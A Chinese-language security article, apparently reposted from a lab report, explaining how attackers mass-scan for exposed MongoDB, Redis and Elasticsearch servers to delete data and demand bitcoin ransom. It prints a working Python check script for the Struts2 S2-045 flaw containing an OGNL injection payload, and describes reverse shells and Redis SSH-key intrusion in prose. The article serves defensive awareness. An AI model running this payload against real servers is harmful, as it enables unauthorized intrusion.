黑客是如何实现数据库勒索的?

本文涉及的产品
云数据库 MongoDB,独享型 2核8GB
推荐场景:
构建全方位客户视图
检索分析服务 Elasticsearch 版,2核4GB开发者规格 1个月
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介: 本文讲的是黑客是如何实现数据库勒索的?,每一次重要通用漏洞的爆发总是会带来一片腥风血雨,任何微小的漏洞,基于43亿IPv4地址这个大基数,总是可以被放大!
本文讲的是 黑客是如何实现数据库勒索的?每一次重要通用漏洞的爆发总是会带来一片腥风血雨,任何微小的漏洞,基于43亿IPv4地址这个大基数,总是可以被放大!

从MongoDB开始到MySQL,黑客瞄准了数据库服务,通过黑客手段获取数据库服务的权限,然后删除数据,在数据库中插入勒索信息,要求支付比特币以赎回数据(可见扩展阅读)。那么黑客是如何实现这整个过程?

MongoDB勒索事件

在MongoDB的勒索事件里,黑客攻击通过攻击存在未授权访问问题的MongoDB数据库,加密原数据内容,在数据库中插入勒索信息,要求支付比特币以赎回数据。

【黑客解析】黑客是如何实现数据库勒索的?

在这个事件中,我们来还原下黑客是怎么实现这个流程的:

【黑客解析】黑客是如何实现数据库勒索的?

大概是这样一个流程,通过探测互联网上符合的目标,然后使用对应的攻击脚本针对探测得到的目标实现自动化的攻击。

而细化到具体的探测目标和Exp的功能,以MongoDB数据勒索这个例子,探测目标主要是探测互联网上开放了27017端口的目标,然后进一步探测是否可以未授权直接连接目标:

【黑客解析】黑客是如何实现数据库勒索的?

而攻击脚本的功能大概是这样的:

【黑客解析】黑客是如何实现数据库勒索的?

就MongoDB这个例子,主要是利用了MongoDB未授权访问的这个问题;MongoDB默认安装是没有密码的,并且没有绑定IP,导致的问题就是外网可以访问这些MongoDB,并且由于无需授权,就可以直接未授权访问。

其实,这是一个自动漏洞批量利用的过程,不仅限于数据勒索,也不仅限于开始列的几种数据服务的未授权访问或者弱口令等安全问题,同样其他漏洞也是可以的。

黑客如何利用漏洞

往往一些漏洞在爆发之后,没多久就马上会爆发出漏洞的PoC和Exp,比如最近的Struts2新漏洞S2-045(CVE-2017-5638),漏洞在3月6日爆出,而在3月7日也就是第二天,PoC和Exp已经满天飞,就本次的漏洞来说,基本国内外大的互联网公司基本没有不受影响的;该漏洞可以导致命令执行,可以获得系统权限,在PoC和Exp出现的第一时间,已经基本是地上地下都在利用和扫描了。

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).     (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False
if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

上面是这次S2-045的PoC,通过这些攻击脚本,黑客可以实现自动化的对漏洞进行利用

15年11月也出现过一个安全事件,就是有黑客团体利用Redis设计缺陷成功入侵了至少10000家的Redis服务器(具体见nosec的报告)。在这个事件里,黑客基于Redis未授权访问问题,通过配合SSH Key的技巧批量的入侵了Redis服务器。

上面的视频是通过手动的方式演示了如何利用这个问题获取服务器的系统权限,而往往这个过程黑客是通过自动化的手段进行的,下面是的视频演示了如何通过工具自动化的获取攻击目标,利用PoC进行验证是否存在Redis未授权访问问题的。

其实每一次爆发的漏洞对于相关黑客来说,利用的过程不外乎如此;还有个例子,之前国外有个团队,捕获了一个使用ElasticSearch漏洞构建的僵尸网络,利用ElasticSearch的漏洞,对ElasticSearch服务器进行控制,整个僵尸网络最终可以用来进行DDOS攻击(分析报告)。

【黑客解析】黑客是如何实现数据库勒索的?

【黑客解析】黑客是如何实现数据库勒索的?

经过跟踪ElasticSearch公开的漏洞,他们发现,尤其在中国的相关论坛,CVE-2015-1427 被多次讨论和引用,这是一个ElasticSearch Groovy 脚本引擎的漏洞导致攻击者可绕过沙箱检查执行shell命令的命令执行漏洞。

【黑客解析】黑客是如何实现数据库勒索的?

这是个影响ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞,相关的PoC也就是漏洞验证代码以及Exp都已经在网上公开,黑客可以利用这个漏洞,执行Shell命令,通过perl执行一个perl脚本,来进行反弹shell,可以达到对服务器的控制。

什么是反弹shell呢?正常我们通过ssh连接linux等服务器,是主动的方式连接,而反弹shell,shell其实跟我们通过ssh连接的shell没什么大的区别,而反弹的意思是,控制端通过一些软件,比如nc,也就是netcat在控制端监听某个端口,被控制端,比如说linux 服务器,发起请求到该端口,并将其命令行的输入输出转到控制端。

我们通过一个视频来看下如何利用这个漏洞进行反弹shell来控制服务器的:

而其实黑客如何利用这个漏洞组建僵尸网络,也只是将这个利用过程自动化,批量化。

看到这我不知道大家是否可以发现,例子中黑客使用的漏洞都不是0DAY或者1DAY,应该算是NDAY(这里的数字指距离漏洞爆发已过去的时间);其实,正如你所见,可能大家平时更多的觉得是0DAY的危害很大,但实际的情况是,0DAY更多的时候是作为一种最后的手段,并不是随手就能有0DAY,大部分的这种批量的攻击场景基本是NDAY,每次漏洞爆发,都有一大堆目标受影响,但这些受影响的目标,最终又有多少修复了漏洞,这就得另说了;实际的情况就是即使漏洞爆发过去很长时间,甚至一两年的时间也仍有众多的目标受影响,比如14年爆发出来的心脏出血漏洞15年仍有众多目标受影响,甚至包括一些安全厂商的设备和知名互联网公司的服务器,甚至于现在去做检测,也仍有存在漏洞的目标。

漏洞的利用与修复一直都是安全对抗中一个主要的工作内容!

如何获取攻击目标

在上面的内容我们介绍了很多黑客攻击流程和黑客对漏洞的利用,但是似乎唯独漏了黑客是哪里得到这些攻击目标的。其实在一开始的MongoDB的说明中已经大概提到了。

每一次重要通用漏洞的爆发总是会带来一片腥风血雨,任何微小的漏洞,基于43亿IPv4地址这个大基数,总是可以被放大!

不知道大家有没有注意到引言的这段话,黑客的攻击其实都是基于43亿的IPv4而进行的,一个再小的漏洞,基于这个基数,那么得到的可攻击目标就不是一个小数。

最简单粗暴的方式,就是拿着攻击脚本通过分布式、自动化的方式全部攻击一遍,当然这个量就有点大,所以更合理的方式是探测符合的目标,比如MongoDB那个事件,需要探测存在MongoDB的服务器,也就是探测端口27017开放的服务器(MongoDB服务默认端口为27017,一般情况28017等情况也有可能,所以黑客在尝试的时候可能不止探测27017这个端口),然后进一步的探测是否符合漏洞利用条件,就MongoDB的例子也就是需要是存在未授权访问的情况,即不需要密码并且可远程连接。

类似MongoDB的端口27017其实就是指纹,黑客通过这些指纹去探测存在漏洞影响组件的服务器,不同的组件和服务都有不同的指纹,比如同样是通过端口的方式,那么Redis也就是6379,M有SQL是3306,还有比如说"WWW-Authenticate: Basic realm="TD-8817"这个存在于HTTP头部的指纹可以探测TP-Link TD-8817路由器;当然,不排除自定义的情况,但出于成本等方面的,一般黑客在攻击的时候选择忽略特殊的情况。通过探测出符合漏洞影响组件的目标后,这些目标就成为攻击脚本执行的目标。

除了指纹探测服务或者组件的存在与否,也可以进一步探测安装的组件的版本是否在漏洞影响的版本范围内,以此来缩小最终要使用攻击脚本进行攻击的目标范围。精确的指纹和版本信息,可以缩小需要攻击的目标范围,从而减少攻击成本。

其实,通过指纹的方式对于相关目标进行服务和组件的探测,国内外已经有一些安全平台,比如ZoomEye(https://www.zoomeye.org )、撒旦(https://www.shodan.io/ ,如下图搜索MySQL服务的目标)等,大家如果想尝试,可以直接访问去搜索相关组件的目标,比如"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站点;在Redis那个未授权访问问题的自动化演示的视频中,其实就是调用了ZoomEye的API来获取存在Redis服务的目标。

【黑客解析】黑客是如何实现数据库勒索的?

当然,看到这些平台,你可能第一时间想到的是帮助了攻击者,这个具体怎么看待把,因为这些平台的初衷肯定不是如此,就像早期的电脑到底是好是坏的讨论一样;在相关黑客的手里其实也存在这样的平台,或者就是通过脚本直接根据不同的漏洞对43亿IPv4或者其他已知目标列表进行探测,然后自动化的攻击。

【黑客解析】黑客是如何实现数据库勒索的?

讲到最后,其实大家可以发现,不仅仅是数据勒索,这其实更多的是一种通用的漏洞自动化攻击利用的流程,唯一的区别在不同的漏洞能够获取的权限不同,对应的在获取到权限后能做的事也不同,所以就存在对应的利用,比如数据勒索,比如组件僵尸网络用于DDoS,比如用来挖矿,还比如批量黑了路由器进行DNS劫持等。

在企业的安全风险的不同维度里,通用漏洞一直是个棘手的问题,因为你没法事先知道问题,只能在漏洞爆发的时候第一时间去修复漏洞,所以,尽可能的选择一些靠谱的组件,多关注安全,加强漏洞和安全的应急响应,避免由此导致的安全风险!




原文发布时间为:2017年3月10日
本文作者:云鼎实验室
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
相关实践学习
使用阿里云Elasticsearch体验信息检索加速
通过创建登录阿里云Elasticsearch集群,使用DataWorks将MySQL数据同步至Elasticsearch,体验多条件检索效果,简单展示数据同步和信息检索加速的过程和操作。
ElasticSearch 入门精讲
ElasticSearch是一个开源的、基于Lucene的、分布式、高扩展、高实时的搜索与数据分析引擎。根据DB-Engines的排名显示,Elasticsearch是最受欢迎的企业搜索引擎,其次是Apache Solr(也是基于Lucene)。 ElasticSearch的实现原理主要分为以下几个步骤: 用户将数据提交到Elastic Search 数据库中 通过分词控制器去将对应的语句分词,将其权重和分词结果一并存入数据 当用户搜索数据时候,再根据权重将结果排名、打分 将返回结果呈现给用户 Elasticsearch可以用于搜索各种文档。它提供可扩展的搜索,具有接近实时的搜索,并支持多租户。
目录
相关文章
|
存储 监控 安全
数据库安全设置之防止被黑客篡改
随着数据库的发展,数据库安全问题越来越受到业界人士的关注,学者们对数据库安全的定义也有不同,其中以其定义最为典型。它全面地描述了数据库的安全性,包括物理和逻辑数据库的完整性,元素的安全性,可审核性,访问控制和用户认证。目前国内一般把数据库系统的安全需求归结为机密性,完整性和可用性。对于提高数据库安全的措施,一般有以下几种方法:
421 0
数据库安全设置之防止被黑客篡改
|
SQL 安全 关系型数据库
数据库被黑客攻击了怎么办
某一网站平台的客户数据库被黑客篡改了,篡改了会员的银行卡信息以及金额,包括注单也被黑客篡改,导致平台的损失很大,在后台提现的时候,客户才发现会员的数据有异常,觉得不得劲,查询该会员账号的所有投注信息发现了问题。数据库被攻击了,随即通过朋友介绍找到我们SINE安全公司,寻求安全解决,防止数据库被攻击,被篡改。
1118 0
数据库被黑客攻击了怎么办
|
安全 关系型数据库 MySQL
白帽黑客发现上帝模式共享服务器数据库漏洞
本文讲的是白帽黑客发现上帝模式共享服务器数据库漏洞,MySQL、MariaDB和Percona的服务器及XtraDB集群发现危险新漏洞,只要联动使用,共享环境中的攻击者可获取服务器完整控制权。
1479 0
|
安全 前端开发 数据库
关闭数据库的xp_cmdshell命令以防止黑客攻击
一、关闭和恢复xp_cmdshell命令        一般的黑客攻击SQL Server时,首先采用的方法是执行master扩展存储过程xp_cmdshell命令来破坏数据库,为了数据库安全起见,最好禁止使用xp_cmdShell,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
1209 0
|
3天前
|
存储 Oracle 关系型数据库
数据库传奇:MySQL创世之父的两千金My、Maria
《数据库传奇:MySQL创世之父的两千金My、Maria》介绍了MySQL的发展历程及其分支MariaDB。MySQL由Michael Widenius等人于1994年创建,现归Oracle所有,广泛应用于阿里巴巴、腾讯等企业。2009年,Widenius因担心Oracle收购影响MySQL的开源性,创建了MariaDB,提供额外功能和改进。维基百科、Google等已逐步替换为MariaDB,以确保更好的性能和社区支持。掌握MariaDB作为备用方案,对未来发展至关重要。
13 3